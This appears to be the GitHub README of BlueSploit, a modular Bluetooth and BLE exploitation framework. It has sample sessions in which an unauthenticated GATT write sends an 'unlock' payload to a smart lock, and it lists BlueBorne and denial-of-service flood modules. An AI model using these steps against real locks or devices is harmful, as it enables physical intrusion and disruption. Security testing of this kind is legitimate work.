Skip to content

V33RU/bluesploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

92 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

BlueSploit

Bluetooth Exploitation Framework

A Metasploit-style modular framework for Bluetooth Classic and BLE security testing.

I started building this with a purpose. Since it’s an early version, there may be stability issues and false positives. I’m still working on it, so please be patient.

Python License Platform

Features

  • πŸ” Device Discovery - Scan for nearby BLE and Classic Bluetooth devices
  • πŸ“Š GATT Enumeration - Enumerate services, characteristics, and descriptors
  • πŸ”“ Exploit Modules - Ready-to-use exploits for common vulnerabilities
  • πŸ”‘ Credential Testing - Test for default/weak PINs and pairing vulnerabilities
  • πŸ“ Modular Architecture - Easy to extend with custom modules
  • πŸ’Ύ Result Export - Save scan results and loot to JSON

Installation

# Clone the repository
git clone https://github.com/v33ru/bluesploit.git
cd bluesploit

#create python virtual environment
python3 -m venv env
source env/bin/activate

# Install dependencies
pip install -r requirements.txt

# Run BlueSploit
python bluesploit.py

Requirements

  • Python 3.10+
  • Bluetooth adapter (built-in or USB dongle)
  • Linux: bluez stack installed
  • macOS: Works out of the box
  • Windows: Requires Windows 10+ with BLE support

Quick Start

$ python bluesploit.py

    ╔═════════════════════════════════════════════════════════════════════════════════╗
    β•‘                                                                                 β•‘
    β•‘  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—     β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β•‘
    β•‘  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β• β•‘
    β•‘  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘    β•‘
    β•‘  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•  β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘    β•‘
    β•‘  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘    β•‘
    β•‘  β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•šβ•β•     β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•   β•šβ•β•    β•‘
    β•‘                                                                                 β•‘
    ╠═════════════════════════════════════════════════════════════════════════════════╣
    β•‘                                                                                 β•‘
    β•‘  Bluetooth Exploitation Framework                            v1.0.0             β•‘
    β•‘  ─────────────────────────────────────────────────────────────────────────────  β•‘
    β•‘                                                                                 β•‘
    β•‘  β—‰ Author    : v33ru / Mr-IoT                                                   β•‘
    β•‘  β—‰ Community : IoT Security Research Group (IOTSRG)                             β•‘
    β•‘  β—‰ GitHub    : https://github.com/v33ru                                         β•‘
    β•‘                                                                                 β•‘
    ╠═════════════════════════════════════════════════════════════════════════════════╣
    β•‘                                                                                 β•‘
    β•‘  [+] BLE Scanning & Enumeration    [+] GATT Service Analysis                    β•‘
    β•‘  [+] Bluetooth Classic Attacks     [+] Vulnerability Detection                  β•‘
    β•‘  [+] Exploitation Modules          [+] Protocol Reverse Engineering             β•‘
    β•‘                                                                                 β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚   Type 'help' for commands     Type 'show modules' to list modules          β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

bluesploit > help

  Core Commands
  =============
    use <module>      Load a module
    back              Unload current module
    search <keyword>  Search for modules
    show <type>       Show modules/options
    
  Module Commands
  ===============
    set <opt> <val>   Set module option
    unset <option>    Clear module option
    options           Show module options
    info              Show module info
    run / exploit     Execute module
    check             Check if vulnerable
    
  Utility Commands
  ================
    clear             Clear screen
    reload            Reload modules
    setg <opt> <val>  Set global option
    banner            Show banner
    exit / quit       Exit BlueSploit

Usage Examples

Discover BLE Devices

bluesploit > use scanners/ble/discovery
bluesploit (scanners/ble/discovery) > set timeout 15
bluesploit (scanners/ble/discovery) > run

[*] Scanning for BLE devices (15s)...
[+] AA:BB:CC:DD:EE:FF - Smart Lock [-45 dBm] [Nordic Semiconductor]
[+] 11:22:33:44:55:66 - MI Band 7 [-62 dBm] [Xiaomi]
[+] Found 2 devices

Enumerate GATT Services

bluesploit > use scanners/ble/gatt_enum
bluesploit (scanners/ble/gatt_enum) > set target AA:BB:CC:DD:EE:FF
bluesploit (scanners/ble/gatt_enum) > run

[+] Connected to AA:BB:CC:DD:EE:FF
[*] Enumerating GATT services...

  [Service] 00001800-0000-1000-8000-00805f9b34fb
  Generic Access (Handle: 0x0001)
    β”œβ”€β”€ [Char] 00002a00-0000-1000-8000-00805f9b34fb
    β”‚   Device Name
    β”‚   Properties: read
    β”‚   Value: Smart Lock

  [Service] 0000fee0-0000-1000-8000-00805f9b34fb
  Custom Service (Handle: 0x0010)
    β”œβ”€β”€ [Char] 0000fee1-0000-1000-8000-00805f9b34fb ⚠ VULN
    β”‚   Properties: write-without-response, notify
    β”‚   ⚠ UNAUTH_WRITE_POSSIBLE: Write-without-response enabled

Exploit Unauthenticated Write

bluesploit > use exploits/ble/unauth_write
bluesploit (exploits/ble/unauth_write) > set target AA:BB:CC:DD:EE:FF
bluesploit (exploits/ble/unauth_write) > set char_uuid 0000fee1-0000-1000-8000-00805f9b34fb
bluesploit (exploits/ble/unauth_write) > set payload 0601  # Unlock command
bluesploit (exploits/ble/unauth_write) > check

[*] Checking AA:BB:CC:DD:EE:FF for vulnerability...
[+] Found characteristic: 0000fee1-0000-1000-8000-00805f9b34fb
[+] VULNERABLE: Write-without-response enabled!

bluesploit (exploits/ble/unauth_write) > run

[+] Connected to AA:BB:CC:DD:EE:FF
[+] Payload delivered!

Module Structure

modules/
β”œβ”€β”€ scanners/                      # Discovery & enumeration
β”‚   β”œβ”€β”€ ble/
β”‚   β”‚   β”œβ”€β”€ discovery.py           # BLE device discovery
β”‚   β”‚   └── gatt_enum.py           # GATT service + characteristic enumeration
β”‚   └── classic/
β”‚       └── sdp_enum.py            # Classic SDP service discovery
β”‚
β”œβ”€β”€ exploits/                      # Exploits + attack modules
β”‚   β”œβ”€β”€ ble/
β”‚   β”‚   └── unauth_write.py        # BLE unauthenticated GATT write
β”‚   β”‚
β”‚   β”œβ”€β”€ classic/
β”‚   β”‚   β”œβ”€β”€ blueborne_leak.py      # CVE-2017-0781 info leak
β”‚   β”‚   └── bnep_heap_disclosure.py# CVE-2017-13258 heap disclosure
β”‚   β”‚
β”‚   └── dos/
β”‚       β”œβ”€β”€ ble/
β”‚       β”‚   └── notify_flood.py    # BLE notification / GATT flood
β”‚       └── classic/
β”‚           β”œβ”€β”€ l2ping_dos.py      # L2CAP ping flood
β”‚           β”œβ”€β”€ bluesmack.py       # L2CAP echo flood (large packets)
β”‚           β”œβ”€β”€ sdp_flood.py       # SDP query flood
β”‚           └── rfcomm_flood.py    # RFCOMM connection exhaustion


Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

  1. Fork the repository
  2. Create your feature branch (git checkout -b feature/new-module)
  3. Commit your changes (git commit -am 'Add new module')
  4. Push to the branch (git push origin feature/new-module)
  5. Open a Pull Request

Roadmap

  • Bluetooth Classic support (BR/EDR)
  • PIN bruteforce module
  • BTSnoop log analyzer (GhostWrite integration)
  • Replay attack module
  • Database for session/loot storage
  • Ubertooth integration
  • BTLEJuice integration

Legal Disclaimer

Acknowledgments

  • Inspired by RouterSploit and Metasploit
  • Built with Bleak for cross-platform BLE support
  • Thanks to the Bluetooth security research community

About

Another Bluetooth Exploit Framework

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors